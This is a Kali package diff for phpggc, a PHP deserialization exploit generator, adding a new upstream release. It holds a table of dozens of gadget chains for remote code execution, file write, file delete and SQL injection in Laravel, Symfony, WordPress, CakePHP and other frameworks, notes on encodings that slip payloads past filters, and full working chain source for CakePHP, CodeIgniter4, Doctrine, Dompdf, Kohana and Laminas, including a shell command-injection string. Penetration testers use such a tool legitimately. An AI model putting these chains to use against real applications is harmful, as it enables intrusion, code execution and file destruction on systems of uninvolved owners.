Codebase list phpggc / a60ab79e-9427-4319-906c-5118e40f07b4/main
New upstream release. Kali Janitor 2 years ago
81 changed file(s) with 2386 addition(s) and 175 deletion(s). Raw diff Collapse all Expand all
77 ## Requirements
88
99 PHP >= 5.6 is required to run PHPGGC.
10 PHP 8 is not yet supported.
1110
1211
1312 ## Usage
2019 Gadget Chains
2120 -------------
2221
23 NAME VERSION TYPE VECTOR I
24 CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
25 CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct
26 Doctrine/FW1 ? File write __toString *
27 Drupal7/FD1 7.0 < ? File delete __destruct *
28 Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct *
29 Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
30 Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
31 Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
32 Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct *
33 Laminas/FD1 <= 2.11.2 File delete __destruct
34 Laravel/RCE1 5.4.27 RCE (Function call) __destruct
35 Laravel/RCE2 5.5.39 RCE (Function call) __destruct
36 Laravel/RCE3 5.5.39 RCE (Function call) __destruct *
37 Laravel/RCE4 5.5.39 RCE (Function call) __destruct
38 Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
39 Laravel/RCE6 5.5.* RCE (PHP code) __destruct *
40 Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
41 Magento/FW1 ? <= 1.9.4.0 File write __destruct *
42 Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct
43 Monolog/RCE1 1.18 <= 2.1.1+ RCE (Function call) __destruct
44 Monolog/RCE2 1.5 <= 2.1.1+ RCE (Function call) __destruct
45 Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct
46 Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct *
47 Phalcon/RCE1 <= 1.2.2 RCE __wakeup *
48 PHPCSFixer/FD1 <= 2.17.3 File delete __destruct
49 PHPCSFixer/FD2 <= 2.17.3 File delete __destruct
50 PHPExcel/FD1 1.8.2+ File delete __destruct
51 PHPExcel/FD2 <= 1.8.1 File delete __destruct
52 PHPExcel/FD3 1.8.2+ File delete __destruct
53 PHPExcel/FD4 <= 1.8.1 File delete __destruct
54 Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
55 Slim/RCE1 3.8.1 RCE (Function call) __toString
56 Smarty/FD1 ? File delete __destruct
57 Smarty/SSRF1 ? SSRF __destruct *
58 SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
59 SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
60 SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
61 SwiftMailer/FW3 5.0.1 File write __toString
62 SwiftMailer/FW4 4.0.0 <= ? File write __destruct
63 Symfony/FW1 2.5.2 File write DebugImport *
64 Symfony/FW2 3.4 File write __destruct
65 Symfony/RCE1 3.3 RCE (Command) __destruct *
66 Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct *
67 Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct *
68 Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct *
69 TCPDF/FD1 <= 6.3.5 File delete __destruct *
70 ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct *
71 WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct *
72 WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct *
73 WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
74 WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *
75 WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct *
76 WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct *
77 WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct *
78 WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct *
79 WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct *
80 WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString *
81 WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString *
82 WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
83 WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
84 WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
85 WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
86 Yii/RCE1 1.1.20 RCE (Function call) __wakeup *
87 Yii2/RCE1 <2.0.38 RCE (Function call) __destruct *
88 Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct *
89 ZendFramework/FD1 ? <= 1.12.20 File delete __destruct
90 ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct *
91 ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString *
92 ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct
93 ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct *
94
22 NAME VERSION TYPE VECTOR I
23 CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
24 CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
25 CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
26 CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct
27 CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct
28 Doctrine/FW1 ? File write __toString *
29 Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
30 Dompdf/FD1 1.1.1 <= ? File delete __destruct *
31 Dompdf/FD2 ? < 1.1.1 File delete __destruct *
32 Drupal7/FD1 7.0 < ? File delete __destruct *
33 Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct *
34 Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
35 Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
36 Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
37 Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct *
38 Kohana/FR1 3.* File read __toString *
39 Laminas/FD1 <= 2.11.2 File delete __destruct
40 Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct *
41 Laravel/RCE1 5.4.27 RCE (Function call) __destruct
42 Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
43 Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
44 Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
45 Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
46 Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
47 Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
48 Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
49 Magento/FW1 ? <= 1.9.4.0 File write __destruct *
50 Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct
51 Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.2.0+ RCE (Function call) __destruct
52 Monolog/RCE2 1.4.1 <= 2.2.0+ RCE (Function call) __destruct
53 Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct
54 Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct *
55 Monolog/RCE5 1.25 <= 2.2.0+ RCE (Function call) __destruct
56 Monolog/RCE6 1.10.0 <= 2.2.0+ RCE (Function call) __destruct
57 Monolog/RCE7 1.10.0 <= 2.2.0+ RCE (Function call) __destruct *
58 Phalcon/RCE1 <= 1.2.2 RCE __wakeup *
59 PHPCSFixer/FD1 <= 2.17.3 File delete __destruct
60 PHPCSFixer/FD2 <= 2.17.3 File delete __destruct
61 PHPExcel/FD1 1.8.2+ File delete __destruct
62 PHPExcel/FD2 <= 1.8.1 File delete __destruct
63 PHPExcel/FD3 1.8.2+ File delete __destruct
64 PHPExcel/FD4 <= 1.8.1 File delete __destruct
65 PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct *
66 Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
67 Slim/RCE1 3.8.1 RCE (Function call) __toString
68 Smarty/FD1 ? File delete __destruct
69 Smarty/SSRF1 ? SSRF __destruct *
70 SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
71 SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
72 SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
73 SwiftMailer/FW3 5.0.1 File write __toString
74 SwiftMailer/FW4 4.0.0 <= ? File write __destruct
75 Symfony/FW1 2.5.2 File write DebugImport *
76 Symfony/FW2 3.4 File write __destruct
77 Symfony/RCE1 3.3 RCE (Command) __destruct *
78 Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct *
79 Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct *
80 Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct *
81 Symfony/RCE5 5.2.* RCE (Function call) __destruct
82 TCPDF/FD1 <= 6.3.5 File delete __destruct *
83 ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct *
84 ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct *
85 ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct *
86 ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct *
87 Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct *
88 WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct *
89 WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct *
90 WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
91 WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *
92 WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct *
93 WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct *
94 WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct *
95 WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct *
96 WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct *
97 WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString *
98 WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString *
99 WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
100 WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
101 WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
102 WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
103 Yii/RCE1 1.1.20 RCE (Function call) __wakeup *
104 Yii2/RCE1 <2.0.38 RCE (Function call) __destruct *
105 Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct *
106 ZendFramework/FD1 ? <= 1.12.20 File delete __destruct
107 ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct *
108 ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString *
109 ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct
110 ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct *
95111 ```
96112
97113 Filter gadget chains:
156172
157173 The `--wrapper` (`-w`) option allows you to define a PHP file containing the following functions:
158174
159 - `process_parameters($parameters)`: Called right **before** `generate()`, allows to change parameters
160 - `process_object($object)`: Called right **before** `serialize()`, allows to change the object
161 - `process_serialized($serialized)`: Called right **after** `serialize()`, allows to change the serialized string
175 - `process_parameters(array $parameters)`: Called right **before** `generate()`, allows to change parameters
176 - `process_object(object $object)`: Called right **before** `serialize()`, allows to change the object
177 - `process_serialized(string $serialized)`: Called right **after** `serialize()`, allows to change the serialized string
162178
163179 For instance, if the vulnerable code looks like this:
164180
233249
234250 ### ASCII Strings
235251
236 Uses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII value to an hexadecimal representation:
252 Uses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII char to an hexadecimal representation:
237253 `s:5:"A<null_byte>B<cr><lf>";̀` -> `S:5:"A\00B\09\0D";`
238254 This can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values.
239255 *Note: this is experimental and it might not work in some cases.*
240256
257 ### Armor Strings
258
259 Uses the `S` serialization format instead of the standard `s`. This replaces every char to an hexadecimal representation:
260 `s:5:"A<null_byte>B<cr><lf>";̀` -> `S:5:"\41\00\42\09\0D";`
261 This comes handy when a firewall or PHP code blocks strings.
262 *Note: this is experimental and it might not work in some cases.*
263 *Note: this makes each string in the payload grow by a factor of 3.*
264
241265 ### Plus Numbers
242266
243267 Sometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as `/O:[0-9]+:`. This is easily bypassed using `O:+123:...` instead of `O:123:`. One can use `--plus-numbers <types>`, or `-n <types>`, to automatically add these `+` signs in front of symbols.
244 For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only i and d (float) types can have a +.
245
268 For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only `i` and `d` (float) types can have a `+`.
269
270 ### Testing your chain
271
272 To test if the gadget chain you want to use works in the targeted environment, jump to your environment's folder and run the chain argument-free, with the `--test-payload` option.
273
274 For instance, to test if `Monolog/RCE2` works on Symfony `4.x`:
275
276 ```
277 $ composer create-project symfony/website-skeleton=4.x some_symfony
278 $ cd some_symfony
279 $ phpggc monolog/rce2 --test-payload
280 Trying to deserialize payload...
281 SUCCESS: Payload triggered !
282 ```
283
284 The exit code will be `0` if the payload triggered, `1` otherwise.
285
286 ### Testing your chain against every version of a package
287
288 If you wish to know which versions of a package a gadget chain works against, you can use `test-gc-compatibility.py`.
289
290 ```
291 $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
292 Testing 59 versions for monolog/monolog against 2 gadget chains.
293
294 ┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
295 ┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
296 ┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
297 │ 2.x-dev │ OK │ OK │ KO │
298 │ 2.3.0 │ OK │ OK │ KO │
299 │ 2.2.0 │ OK │ OK │ KO │
300 │ 2.1.1 │ OK │ OK │ KO │
301 │ 2.1.0 │ OK │ OK │ KO │
302 │ 2.0.2 │ OK │ OK │ KO │
303 │ 2.0.1 │ OK │ OK │ KO │
304 │ 2.0.0 │ OK │ OK │ KO │
305 │ 2.0.0-beta2 │ OK │ OK │ KO │
306 │ 2.0.0-beta1 │ OK │ OK │ KO │
307 │ 1.x-dev │ OK │ OK │ KO │
308 │ 1.26.1 │ OK │ OK │ KO │
309 │ 1.26.0 │ OK │ OK │ KO │
310 │ 1.25.5 │ OK │ OK │ KO │
311 │ 1.25.4 │ OK │ OK │ KO │
312 ...
313 │ 1.0.1 │ OK │ KO │ KO │
314 │ 1.0.0 │ OK │ KO │ KO │
315 │ 1.0.0-RC1 │ OK │ KO │ KO │
316 │ dev-main │ OK │ OK │ KO │
317 │ * dev-phpstan │ OK │ OK │ KO │
318 └─────────────────┴─────────┴──────────────┴──────────────┘
319 ```
246320
247321 # API
248322
292366
293367 - `__destruct()` is always the best vector
294368 - Specify at least the version of the library you've built the payload on
295 - Refrain from using references unless it is necessary or drastically reduces the size of the payload. If the payload is modified by hand afterwards, this might cause problems.
296369 - Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger.
370 - Respect code style: for instance, opening brackets `{` are on a new line, and arrays should be written as `[1, 2, 3]` instead of the old, `array(1, 2, 3)`, notation.
297371
298372 Codewise, the directory structure is fairly straightforward: gadgets in _gadgets.php_, description + logic in _chain.php_.
299373 You can define pre- and post- processing methods, if parameters need to be modified.
304378 For instance, use `./phpggc -n Drupal RCE` would create a new Drupal RCE gadgetchain.
305379
306380
307
308 ## Docker
381 # Docker
309382
310383 If you don't want to install PHP, you can use `docker build`.
311384
0 phpggc (0.20220112-0kali1) UNRELEASED; urgency=low
1
2 * New upstream release.
3
4 -- Kali Janitor <[email protected]> Thu, 20 Jan 2022 00:23:12 -0000
5
06 phpggc (0.20210218-0kali1) kali-dev; urgency=medium
17
28 * Configure debian/watch to track git master
0 <?php
1
2 namespace GadgetChain\CakePHP;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE\Command
5 {
6 public static $version = '? <= 3.9.6';
7 public static $vector = '__destruct';
8 public static $author = 'MoonBack';
9
10 public function generate(array $parameters)
11 {
12 $command = $parameters['command'];
13
14 return new \Symfony\Component\Process\Process($command);
15 }
16 }
0 <?php
1
2 namespace Symfony\Component\Process
3 {
4 use Cake\ORM\Table;
5
6 class Process
7 {
8 private $options;
9 private $processPipes;
10 private $status;
11 private $process;
12
13 public function __construct($cmd)
14 {
15 $this->options['create_new_console'] = 0;
16 $this->processPipes = new Table($cmd);
17 $this->status = "started";
18 $this->process = 1;
19 }
20 }
21 }
22
23 namespace Cake\ORM
24 {
25 use Cake\Shell\ServerShell;
26
27 class Table
28 {
29 protected $_behaviors;
30
31 public function __construct($cmd)
32 {
33 $this->_behaviors = new BehaviorRegistry($cmd);
34 }
35 }
36
37 class BehaviorRegistry
38 {
39 protected $_methodMap;
40 protected $_loaded;
41
42 public function __construct($cmd)
43 {
44 $this->_methodMap = ['readandwrite' => ['mb', 'main']];
45 $this->_loaded = ['mb' => new ServerShell($cmd)];
46 }
47 }
48 }
49
50 namespace Cake\Shell
51 {
52 use Cake\Console\ConsoleIo;
53
54 class ServerShell
55 {
56 protected $_host;
57 protected $_port;
58 protected $_documentRoot;
59 protected $_io;
60
61 public function __construct($cmd)
62 {
63 $this->_host = '& ' . $cmd . ' &'; // command injection
64 $this->_port = '';
65 $this->_documentRoot = '';
66 $this->_io = new ConsoleIo();
67 }
68 }
69 }
70
71 namespace Cake\Console
72 {
73 class ConsoleIo
74 {
75 protected $_out;
76
77 public function __construct()
78 {
79 $this->_level = -100;
80 }
81 }
82 }
0 <?php
1
2 namespace GadgetChain\CakePHP;
3
4 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '? <= 4.2.3';
7 public static $vector = '__destruct';
8 public static $author = 'MoonBack';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \Symfony\Component\Process\Process($function, $parameter);
16 }
17 }
0 <?php
1
2 namespace Symfony\Component\Process
3 {
4 use Cake\ORM\Table;
5
6 class Process
7 {
8 private $options;
9 private $processPipes;
10 private $status;
11 private $process;
12
13 public function __construct($func, $args){
14 $this->options['create_new_console'] = 0;
15 $this->processPipes = new Table($func, $args);
16 $this->status = "started";
17 $this->process = 1;
18 }
19 }
20 }
21
22
23 namespace Cake\ORM
24 {
25 use Cake\Database\Statement\CallbackStatement;
26
27 class Table
28 {
29 protected $_behaviors;
30
31 public function __construct($func,$args)
32 {
33 $this->_behaviors = new BehaviorRegistry($func, $args);
34 }
35 }
36
37 class BehaviorRegistry
38 {
39 protected $_methodMap;
40 protected $_loaded;
41
42 public function __construct($func, $args)
43 {
44 $this->_methodMap = ['readandwrite' => ['mb','fetch']];
45 $this->_loaded = ['mb' => new CallbackStatement($func, $args)];
46 }
47 }
48 }
49
50 namespace Cake\Database\Statement
51 {
52 class CallbackStatement
53 {
54 protected $_callback;
55 protected $_statement;
56
57 public function __construct($func, $args)
58 {
59 $this->_callback = $func;
60 $this->_statement = new BufferedStatement($args);
61 }
62 }
63
64 class BufferedStatement
65 {
66 protected $_allFetched;
67 protected $buffer;
68 protected $index;
69
70 public function __construct($args)
71 {
72 $this->_allFetched = 1;
73 $this->buffer = [$args];
74 $this->index = 0;
75 }
76 }
77 }
0 <?php
1
2 namespace GadgetChain\CodeIgniter4;
3
4 class RCE3 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '-4.1.3+';
7 public static $vector = '__destruct';
8 public static $author = 'Firebasky';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \CodeIgniter\Cache\Handlers\RedisHandler($function, $parameter);
16 }
17 }
0 <?php
1
2 namespace Faker
3 {
4 class DefaultGenerator
5 {
6 protected $default;
7
8 public function __construct($cmd)
9 {
10 $this->default = $cmd; //open /System/Applications/Calculator.app
11 }
12 }
13 }
14
15 namespace Faker
16 {
17 class ValidGenerator
18 {
19 protected $generator;
20 protected $validator;
21 protected $maxRetries;
22
23 public function __construct($generator, $func)
24 {
25 $this->maxRetries = 1; //执行次数
26 $this->validator = $func;
27 $this->generator = $generator;
28 }
29 }
30 }
31
32 namespace CodeIgniter\Session\Handlers
33 {
34 class MemcachedHandler
35 {
36 public $lockKey = "Firebasky";
37 public $memcached;
38
39 public function __construct($memcached)
40 {
41 $this->memcached = $memcached;
42 }
43 }
44 }
45
46 namespace CodeIgniter\Cache\Handlers
47 {
48 class RedisHandler
49 {
50 public $redis;
51
52 public function __construct($func, $param)
53 {
54 $this->redis =
55 new \CodeIgniter\Session\Handlers\MemcachedHandler(
56 new \Faker\ValidGenerator((new \Faker\DefaultGenerator($param)), $func)
57 );
58 }
59 }
60 }
0 <?php
1
2 namespace GadgetChain\Doctrine;
3
4 class FW2 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5';
7 public static $vector = '__destruct';
8 public static $author = 'crlf';
9 public static $information = 'Creates a side directory "8a" in the same directory as your file.';
10
11 public function generate(array $parameters)
12 {
13 $writablePath = dirname($parameters['remote_path']);
14 $fileName = basename($parameters['remote_path']);
15 $phpCode = file_get_contents($parameters['local_path']);
16
17 return [
18 new \Doctrine\Common\Cache\Psr6\CacheAdapter(
19 new \Doctrine\Common\Cache\Psr6\CacheItem(0),
20 new \Doctrine\Common\Cache\FilesystemCache(
21 '/'.str_repeat('x', 300), $writablePath
22 )
23 ),
24 new \Doctrine\Common\Cache\Psr6\CacheAdapter(
25 new \Doctrine\Common\Cache\Psr6\CacheItem($phpCode),
26 new \Doctrine\Common\Cache\FilesystemCache(
27 '/../../' . $fileName, $writablePath
28 )
29 )
30 ];
31 }
32 }
0 <?php
1
2 namespace Doctrine\Common\Cache\Psr6
3 {
4 class CacheAdapter
5 {
6 private $deferredItems = [];
7
8 public function __construct($CacheItem, $FilesystemCache)
9 {
10 $this->deferredItems = ['x' => $CacheItem];
11 $this->cache = $FilesystemCache;
12 }
13 }
14 class CacheItem
15 {
16 private $value;
17
18 public function __construct($phpCode)
19 {
20 $this->value = $phpCode;
21 }
22 }
23 }
24
25 namespace Doctrine\Common\Cache
26 {
27 class FileCache
28 {
29 private $extension;
30 protected $directory;
31 private $umask = 0002;
32
33 public function __construct($extension, $directory)
34 {
35 $this->extension = $extension;
36 $this->directory = $directory;
37 }
38 }
39
40 class FilesystemCache extends FileCache {}
41 }
0 <?php
1
2 namespace GadgetChain\Dompdf;
3
4 class FD1 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '1.1.1 <= ?';
7 public static $vector = '__destruct';
8 public static $author = 'coiffeur';
9 public static $information = '
10 Note that some files may not be removed (depends on permissions).
11 Target versions: commit a13af8d4bdab280bf8c48dbc23a4d51cac6af202, 1 Dec 2021 (~v1.1.1) <= exploitable
12 ';
13
14 public function generate(array $parameters)
15 {
16 return new \Dompdf\CPDF($parameters['remote_path']);
17 }
18 }
0 <?php
1
2 namespace Dompdf;
3
4 class Cpdf
5 {
6 public $imageCache = [];
7
8 public function __construct($remote_path) {
9 array_push($this->imageCache, $remote_path);
10 }
11
12 }
0 <?php
1
2 namespace GadgetChain\Dompdf;
3
4 class FD2 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '? < 1.1.1';
7 public static $vector = '__destruct';
8 public static $author = 'coiffeur';
9 public static $information = '
10 Note that some files may not be removed (depends on permissions)
11 Target versions: exploitable < commit 61c86c04d2a483187ff9f6a73c50d42669be5b4d, 1 Dec 2021 (~v1.1.1)
12 ';
13
14 public function generate(array $parameters)
15 {
16 return new \Dompdf\Adapter\CPDF($parameters['remote_path']);
17 }
18 }
0 <?php
1
2 namespace Dompdf\Adapter {
3 use Dompdf\Dompdf;
4
5 class CPDF
6 {
7 public $_dompdf;
8 public $_image_cache = [];
9
10 public function __construct($remote_path) {
11 $this->_dompdf = new Dompdf();
12 array_push($this->_image_cache, $remote_path);
13 }
14 }
15 }
16
17 namespace Dompdf {
18 class Options {
19 public $debugPng = false;
20 }
21
22 class Dompdf {
23 public $options;
24
25 public function __construct() {
26 $this->options = new Options();
27 }
28 }
29 }
1212
1313 public function generate(array $parameters)
1414 {
15 return new \Archive_Tar($parameters['remote_file']);
15 return new \Archive_Tar($parameters['remote_path']);
1616 }
1717 }
0 <?php
1
2 namespace GadgetChain\Kohana;
3
4 class FR1 extends \PHPGGC\GadgetChain\FileRead
5 {
6 public static $version = '3.*';
7 public static $vector = '__toString';
8 public static $author = 'byq';
9 public static $information = 'include()';
10
11 public function generate(array $parameters)
12 {
13 return new \View($parameters['remote_path']);
14 }
15 }
0 <?php
1
2 class View
3 {
4 protected $_file;
5
6 public function __construct($_file) {
7 $this->_file = $_file;
8 }
9 }
99
1010 public function generate(array $parameters)
1111 {
12 $remote_file = $parameters["remote_file"];
12 $remote_path = $parameters["remote_path"];
1313
14 return new \Laminas\Http\Response\Stream($remote_file);
14 return new \Laminas\Http\Response\Stream($remote_path);
1515 }
1616 }
00 <?php
1 namespace Laminas\Http\Response {
2 class Stream {
3 function __construct($remote_file) {
1
2 namespace Laminas\Http\Response
3 {
4 class Stream
5 {
6 function __construct($remote_path)
7 {
48 $this->cleanup = '1';
5 $this->streamName = $remote_file;
9 $this->streamName = $remote_path;
610 }
711 }
812 }
0 <?php
1
2 namespace GadgetChain\Laminas;
3
4 use Laminas\Cache\Psr\CacheItemPool\CacheItem;
5 use Laminas\Cache\Psr\CacheItemPool\CacheItemPoolDecorator;
6 use Laminas\Cache\Storage\Adapter\Filesystem;
7 use Laminas\Cache\Storage\Adapter\FilesystemOptions;
8
9
10 class FW1 extends \PHPGGC\GadgetChain\FileWrite
11 {
12 public static $version = '2.8.0 <= 3.0.x-dev';
13 public static $vector = '__destruct';
14 public static $author = 'swapgs';
15 public static $information = '
16 This chain requires both laminas/laminas-cache (tested up to 3.0.x-dev) and
17 laminas/laminas-cache-storage-adapter-filesystem (a default dependency) to work.
18 Asking for a remote filename without extension will create a file with a trailing dot
19 (e.g. asking for `foo` will create `foo.`)
20 ';
21
22 public function process_parameters($parameters)
23 {
24 $parameters = parent::process_parameters($parameters);
25 $infos = pathinfo($parameters['remote_path']);
26 $parameters['extension'] = isset($infos['extension']) ? $infos['extension'] : '';
27 $parameters['filename'] = isset($infos['filename']) ? $infos['filename'] : '';
28 $parameters['dirname'] = dirname($parameters['remote_path']);
29
30 return $parameters;
31 }
32
33 public function generate(array $parameters)
34 {
35 return new CacheItemPoolDecorator(
36 new Filesystem(
37 new FilesystemOptions($parameters['dirname'], $parameters['extension'])
38 ),
39 [new CacheItem($parameters['filename'], $parameters['data'])]
40 );
41 }
42 }
0 <?php
1
2 namespace Laminas\Cache\Storage\Adapter
3 {
4 class AdapterOptions
5 {
6 protected $namespace;
7 protected $keyPattern;
8
9 function __construct()
10 {
11 $this->namespace = '';
12 $this->keyPattern = '/.*/';
13 }
14 }
15
16 class FilesystemOptions extends AdapterOptions
17 {
18 protected $cacheDir;
19 protected $dirLevel;
20 protected $suffix;
21
22 function __construct($cacheDir, $extension)
23 {
24 parent::__construct();
25 $this->cacheDir = $cacheDir;
26 $this->suffix = $extension;
27 $this->dirLevel = 0;
28 }
29 }
30
31 class Filesystem
32 {
33 protected $options;
34
35 function __construct($options)
36 {
37
38 $this->options = $options;
39 }
40 }
41 }
42
43 namespace Laminas\Cache\Psr\CacheItemPool
44 {
45 class CacheItemPoolDecorator
46 {
47 protected $storage;
48 protected $deferred;
49
50 function __construct($storage, $deferred)
51 {
52 $this->storage = $storage;
53 $this->deferred = $deferred;
54 }
55 }
56
57 class CacheItem
